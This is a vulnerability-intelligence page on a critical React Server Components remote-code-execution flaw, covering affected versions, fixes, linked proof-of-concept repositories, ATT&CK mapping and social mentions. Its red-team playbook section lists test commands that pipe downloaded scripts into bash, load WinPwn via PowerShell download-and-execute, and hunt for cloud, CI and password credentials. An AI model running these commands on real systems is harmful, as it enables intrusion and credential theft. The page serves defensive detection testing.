CVE-2026-126187

CRITICAL POC Pub 10/11 Upd 10/11

Overview

This vulnerability is a remote code execution flaw arising from improper handling of multiple typed arrays combined with attacker-controlled values in the React Server Components feature. The root cause lies in the deserialization process within the react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack packages, which incorrectly processes crafted payloads containing multiple typed arrays. This flaw affects React versions from 19.0.0 up to but excluding 19.0.9, 19.1.10, 19.2.9, and 19.3.1, specifically targeting the server-side rendering components supporting React Server Components.

Vulnerability Description

React is a JavaScript library for building user interfaces. From 19.0.0 until 19.0.9, 19.1.10, 19.2.9, and 19.3.1, the react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack packages are vulnerable to unauthenticated remote code execution through crafted payloads targeting frameworks that support React Server Components. The vulnerability only affects extremely rare cases where responses transport multiple typed arrays and an attacker-controlled value. Applications whose React code does not use a server are not affected. Applications that do not use a framework, bundler, or bundler plugin that supports React Server Components are not affected. This issue is fixed in versions 19.0.9, 19.1.10, 19.2.9, and 19.3.1.

Impact

An unauthenticated attacker can remotely execute arbitrary code on the server hosting the vulnerable React Server Components, enabling full system compromise without requiring any user interaction or authentication. This can lead to unauthorized access to sensitive data, disruption of application services, and potential lateral movement within the network. The vulnerability is exploitable only in rare scenarios where the application uses React Server Components with specific bundlers that support them, increasing the likelihood of critical business impact in affected environments.

Solution

Upgrade the React package to versions 19.0.9, 19.1.10, 19.2.9, or 19.3.1 or later, where this vulnerability is resolved. Refer to the official React security advisory GHSA-xqc2-xf4c-x3h3 at https://github.com/react/react/security/advisories/GHSA-xqc2-xf4c-x3h3 for detailed patch instructions and additional context. No vendor-recommended workarounds are documented; immediate patching is advised for affected deployments using react-server-dom-webpack, react-server-dom-parcel, or react-server-dom-turbopack packages.

EPSS vs KEV Prediction — Evolution (30 days)

Repository	Author	Stars	Forks	Date	Link
briskets/CVE-2026-126187-poc CVE-2026-126187 Unauthenticated RCE in React Server Components - PoC and Docker lab for GHSA-xqc2-xf4c-x3h3 / GHSA-673q-...	briskets	32	9	2026-11-08	View
TahuCryptsi/poc-cve-2026-126187-rsc-usecache-rce PoC: unauth RCE via Next.js use-cache typed-array framing desync (CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3) \| docker compos...	TahuCryptsi	3	0	2026-11-12	View
rudSarkar/GHSA-673q-mjm6-r5xr Dockerized remote RCE PoC for GHSA-673q-mjm6-r5xr (Next.js use cache / React Flight, CVE-2026-126187): one unauthenticat...	rudSarkar	0	0	2026-11-11	View

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution

91% rce

Deserialization Vulnerabilities

77% deserialization

Code Injection

53% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID	Name	Stage	Tactics	Platforms
T1190	Exploit Public-Facing Application	Initial Access	initial-access	Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004	Unix Shell	Kill Chain	execution	ESXi, Linux, macOS, Network Devices
T1505.003	Web Shell	Kill Chain	persistence	Linux, macOS, Network Devices, Windows
T1552.001	Credentials In Files	Kill Chain	credential-access	Containers, IaaS, Linux, macOS, Windows
T1049	System Network Connections Discovery	Kill Chain	discovery	Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004	SSH	Kill Chain	lateral-movement	ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID	Name	ML Conf.	Likelihood	Severity	Link
CAPEC-586	Object Injection	43%	Medium	High

Red Team Playbook

59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged

An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.

Command (PowerShell)

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD

An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)

Command (CMD)

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"

T1049 System Discovery using SharpView Windows PowerShell Privileged

Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.

Command (PowerShell)

$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}

T1049 System Network Connections Discovery Windows CMD

Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.

Command (CMD)

netstat -ano
net use
net sessions 2>nul

T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell

Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.

Command (Shell)

netstat
who -a

T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell

Enumerate TCP connections and map to owning process names via PowerShell.

Command (PowerShell)

Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize

T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell

Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.

Command (Shell)

sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true

T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash

List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.

Command (Bash)

if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi

T1049 System Network Connections Discovery with PowerShell Windows PowerShell

Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.

Command (PowerShell)

Get-NetTCPConnection

T1059.004 Change login shell Linux Bash Privileged

An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.

Command (Bash)

[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art

T1059.004 Command line scripts Linux Shell

An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!

Command (Shell)

for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done

T1059.004 Command-Line Interface Linux, macOS Shell

Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.

Command (Shell)

curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell

Creates and executes a simple sh script.

Command (Shell)

sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}

T1059.004 Creating shell using cpan command Linux, macOS Shell

cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/

Command (Shell)

echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan

T1059.004 Current kernel information enumeration Linux Shell

An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.

Command (Shell)

uname -srm

T1059.004 Detecting pipe-to-shell Linux Shell

An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...

Command (Shell)

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt

T1059.004 Environment variable scripts Linux Shell

An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash

Command (Shell)

export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh

T1059.004 Harvest SUID executable files Linux Shell

AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.

Command (Shell)

chmod +x #{autosuid}
bash #{autosuid}

T1059.004 LinEnum tool execution Linux Shell

LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.

Command (Shell)

chmod +x #{linenum}
bash #{linenum}

T1059.004 New script file in the tmp directory Linux Shell

An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...

Command (Shell)

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

T1059.004 Obfuscated command line scripts Linux Shell

An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...

Command (Shell)

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART

T1059.004 Shell Creation using awk command Linux, macOS Shell

In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell

Command (Shell)

awk 'BEGIN {system("/bin/sh &")}'

T1059.004 Shell Creation using busybox command Linux Shell

BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...

Command (Shell)

busybox sh &

T1059.004 What shell is running Linux Shell

An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.

Command (Shell)

echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi

T1059.004 What shells are available Linux Shell

An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.

Command (Shell)

cat /etc/shells

T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged

emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/

Command (Shell)

sudo emacs -Q -nw --eval '(term "/bin/sh &")'

T1505.003 Web Shell Written to Disk Windows CMD

This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx

Command (CMD)

xcopy /I /Y "#{web_shells}" #{web_shell_path}

T1552.001 Access Drone CI Config File Linux, macOS Shell

Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Gitlab CI Config File Linux, macOS Shell

Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Jenkinsfile Linux, macOS Shell

Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Travis CI Config File Linux, macOS Shell

Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access unattend.xml Windows CMD Privileged

Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.

Command (CMD)

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash

Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...

Command (Bash)

for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done

T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged

[LaZagne Source](https://github.com/AlessandroZ/LaZagne)

Command (Bash)

python2 laZagne.py all

T1552.001 Extract passwords with grep Linux, macOS Shell

Extracting credentials from files

Command (Shell)

grep -ri password #{file_path}
exit 0

T1552.001 Extracting passwords with findstr Windows PowerShell

Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.

Command (PowerShell)

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell

Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...

Command (Shell)

find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null

T1552.001 Find AWS credentials Linux, macOS Shell

Find local AWS credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null

T1552.001 Find Azure credentials Linux, macOS Shell

Find local Azure credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Docker credentials Linux, macOS Shell

Find local Docker credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find GCP credentials Linux, macOS Shell

Find local Google Cloud Platform credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find HashiCorp Vault token files Linux, macOS Shell

Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged

Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...

Command (Shell)

find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Kubernetes user configuration files Linux, macOS Shell

Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.

Command (Shell)

find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null

T1552.001 Find OCI credentials Linux, macOS Shell

Find local Oracle cloud credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null

T1552.001 Find Terraform credential files Linux, macOS Shell

Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.

Command (Shell)

for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done

T1552.001 Find and Access Github Credentials Linux, macOS Shell

Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find database credential files Linux, macOS Shell

Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.

Command (Shell)

for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done

T1552.001 Find npm registry credential files Linux, macOS Shell

Find .npmrc files, which may contain plaintext npm registry authentication tokens.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find system database configuration files Linux Shell Privileged

Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.

Command (Shell)

find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null

T1552.001 List Credential Files via Command Prompt Windows CMD Privileged

Via Command Prompt,list files where credentials are stored in Windows Credential Manager

Command (CMD)

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged

Via PowerShell,list files where credentials are stored in Windows Credential Manager

Command (PowerShell)

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

T1552.001 Search for Git Credential Files Linux, macOS Shell

Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell

Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive

T1552.001 WinPwn - SessionGopher Windows PowerShell

Launches SessionGopher on this system via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

T1552.001 WinPwn - Snaffler Windows PowerShell

Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

T1552.001 WinPwn - passhunt Windows PowerShell

Search for Passwords on this system using passhunt via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

T1552.001 WinPwn - powershellsensitive Windows PowerShell

Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

T1552.001 WinPwn - sensitivefiles Windows PowerShell

Search for sensitive files on this local system using the SensitiveFiles function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Mentions (23)

23 mentions from 15 sources in the last 7 days BuzzFactor 68 / 100

social bsky.app @undercodenews.bsky.social 2026-11-13 04:37 UTC

Critical React Server Components Vulnerability CVE-2026-126187 Enables Unauthenticated Remote Code Execution Through Flight Row Smuggling + Video CRITICAL SECURITY ALERT Unauthenticated RCE A critical security vulnerability affecting React…
Open source
social bsky.app @hendryadrian.bsky.social 2026-11-13 04:12 UTC

Step Security reports CVE-2026-126187, a critical unauthenticated RCE in React Server Components under shared-ArrayBuffer transfer preconditions. A lab reproduced Flight row smuggling; fixes are 19.0.9, 19.1.10, 19.2.9 and 19.3.1.
Open source
other ksrc.karenit.net 2026-11-12 19:37 UTC
Open source
social bsky.app @stackwatch.de 2026-11-12 10:38 UTC

React CVE-2026-126187, CVSS 9.5: Fix react-server-dom-* 19.0.9 / 19.1.10 / 19.2.9 / 19.3.1, Next.js 16.x 16.4.1. Kein Workaround, nur das Update. Nur Browser-React: nicht betroffen. Prüfen: npm ls next stackwatch.de/blog/react-cve-2026-126…
Open source
social bsky.app @unnchain.bsky.social 2026-11-12 03:41 UTC

続報：この件にCVE番号（CVE-2026-126187）が付き、攻撃コード（PoC）も公開されました。CVE番号で検出するスキャナーでも見つかるようになったので、まだ更新していない人は今のうちに。 https://github.com/advisories/GHSA-xqc2-xf4c-x3h3
Open source
code github.com TahuCryptsi 2026-11-12 01:43 UTC

TahuCryptsi/poc-cve-2026-126187-rsc-usecache-rce
Open source
social bsky.app @vulnsea.com 2026-11-11 22:04 UTC

🌊 ABYSSAL · critical with a public exploit CVE-2026-126187: React: Unauthenticated Remote Code Execution in React Server Components CVSS 9.5 https://vulnsea.com/cve/CVE-2026-126187 #CVE #infosec #cybersecurity #threatintel
Open source
code github.com rudSarkar 2026-11-11 21:22 UTC

rudSarkar/GHSA-673q-mjm6-r5xr
Open source
social mastox.eu @116996372580318764 2026-11-11 20:06 UTC

🚨 Public exploit code is out for CVE-2026-126187, a critical unauthenticated Remote Code Execution (RCE) vulnerability affecting React Server Components and certain Next.js applications. Scored CVSS 9.5, the flaw could allow remote attacke…
Open source
social bsky.app @trustlist.bsky.social 2026-11-11 19:56 UTC

Security advisories 16/23 React fixes critical remote code flaw in its Server Components packages CVE-2026-126187 scores 9.5 under CVSS 4.0 and needs no login. #infosec #cybersecurity trustlist.uk/security-advisorie…
Open source
social bsky.app @andregironda.bsky.social 2026-11-11 19:24 UTC

React Server ComponentsにCVSS 9.5の認証不要RCE脆弱性CVE-2026-126187。修正版4系統を公開 joho-todai.com/react-server...
Open source
social mastox.eu @116996372580318764 2026-11-11 16:47 UTC

🚨 CRITICAL: React Server Components have another unauthenticated Remote Code Execution vulnerability. And there's already a public PoC. CVE-2026-126187 carries a CVSS 4.0 score of 9.5 and exposes vulnerable React Server Components implemen…
Open source
social infosec.exchange @116810780845358081 2026-11-11 16:46 UTC

CVE-2026-126187: Critical unauthenticated RCE in React Server Components. A newly disclosed vulnerability in React Flight serialization allows remote attackers to exploit improper length framing and deserialization handling to trigger Serv…
Open source
social bsky.app @thecybersecguru.com 2026-11-11 16:44 UTC

React Server Components Just Got an Unauthenticated RCE: Breaking Down CVE-2026-126187 CVE-2026-126187 is a 9.5 CVSS unauthenticated RCE in React Server Components. See how a detached buffer and forged thenable break Next.js… https://thecy…
Open source
other thecybersecguru.com 2026-11-11 16:44 UTC

React Server Components Just Got an Unauthenticated RCE: Breaking Down CVE-2026-126187 CVE-2026-126187 is a 9.5 CVSS unauthenticated RCE in React Server Components. See how a detached buffer and forged thenable break Next.js Cache Componen…
Open source
social infosec.exchange @116797276219291526 2026-11-11 06:43 UTC

Update React Server Components to version 19.3.1 now to fix CVE-2026-126187, a critical 9.5 CVSS unauthenticated remote code execution vulnerability. # React # ReactServerComponents # WebSecurity # Cybersecurity # InfoSec https:// meterpre…
Open source
social bsky.app @securityonline.bsky.social 2026-11-11 06:43 UTC

Update React Server Components to version 19.3.1 now to fix CVE-2026-126187, a critical 9.5 CVSS unauthenticated remote code execution vulnerability. #React #ReactServerComponents #WebSecurity #Cybersecurity #InfoSec
Open source
social bsky.app @johonotodai.bsky.social 2026-11-11 01:42 UTC

React Server ComponentsにCVSS 9.5の認証不要RCE脆弱性CVE-2026-126187。修正版4系統を公開
Open source
social bsky.app @stackflag.bsky.social 2026-11-11 01:20 UTC

CVE-2026-126187 - react-server-dom-parcel Versions of the react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack packages can be tricked into running malicious code if an… Too many irrelevant or confusing CVEs? U…
Open source
social bsky.app @stemshop.bsky.social 2026-11-11 00:13 UTC

🚨 CVE-2026-126187 — CVSS 9.5 CRITICAL React is a JavaScript library for building user interfaces. From 19.0.0 until 19.0.9, 19.1.10, 19.2.9, and ... 🔎 https://stemshop.top/cve/CVE-2026-126187 #CVE #CyberSecurity #InfoSec
Open source
social bsky.app @eventmonitor.bsky.social 2026-11-10 23:30 UTC

Developing: Critical React Vulnerability (CVE-2026-126187) https://cyber.eventmonitor.net/incident/EM-20261110-PA7K/critical-react-vulnerability-cve-2026-126187/ #news #cybersecurity
Open source
news stepsecurity.io 2026-11-10 08:00 UTC

CVE-2026-126187: React Server Components Flaw Lets Attackers Execute Code Through Smuggled Flight Rows - Step Security
Open source
code github.com briskets 2026-11-08 22:51 UTC

briskets/CVE-2026-126187-poc
Open source

Title	Tags	URL
nvd.nist.gov	NVD reference	https://nvd.nist.gov/vuln/detail/CVE-2026-126187
github.com	GitHub CVE x_refsource_CONFIRM	https://github.com/react/react/security/advisories/GHSA-xqc2-xf4c-x3h3
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/pull/37842
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/pull/37843
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/pull/37844
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/pull/37845
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/pull/37846
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/commit/0c9913ae87283f96e868a8f1c20a3389827632d0
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/commit/249ac87b0dadea4ba024d1393e5cb60cf1186080
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/commit/3d06b4005ac0cf9dec37267f26174adfe6d83611
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/commit/611d9217df39cf7b8ac91b2e41fd00555923e904
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/commit/61aa00df822d0eb76d0362eb8b6fdd3527693efe
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/releases/tag/v19.0.9
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/releases/tag/v19.1.10
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/releases/tag/v19.2.9
github.com	GitHub CVE x_refsource_MISC	https://github.com/react/react/releases/tag/v19.3.1

CVSS Analysis

CVSS v4.0

9.5

EXPLOITABILITY

Attack Vector

Network AV:N

Attack Complexity

Low AC:L

Attack Requirements

Present AT:P

Privileges Required

None PR:N

User Interaction

None UI:N

VULNERABLE SYSTEM IMPACT

Confidentiality

High VC:H

Integrity

High VI:H

Availability

High VA:H

SUBSEQUENT SYSTEM IMPACT

Confidentiality

High SC:H

Integrity

High SI:H

Availability

None SA:N

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N

Attack Vectors

CWE

CWE-502

Prioritization

BuzzFactor

68 / 100

LEV

0.1%

Threat Level

CISA KEV

Exploited in Wild

Exploit Available

PoC Available

YES

Ransomware

CVE-2026-126187

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products

Disclaimer

GitHub PoCs (3)

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns ML

Red Team Playbook

Detection & Response Rules

Mentions (23)

References (16)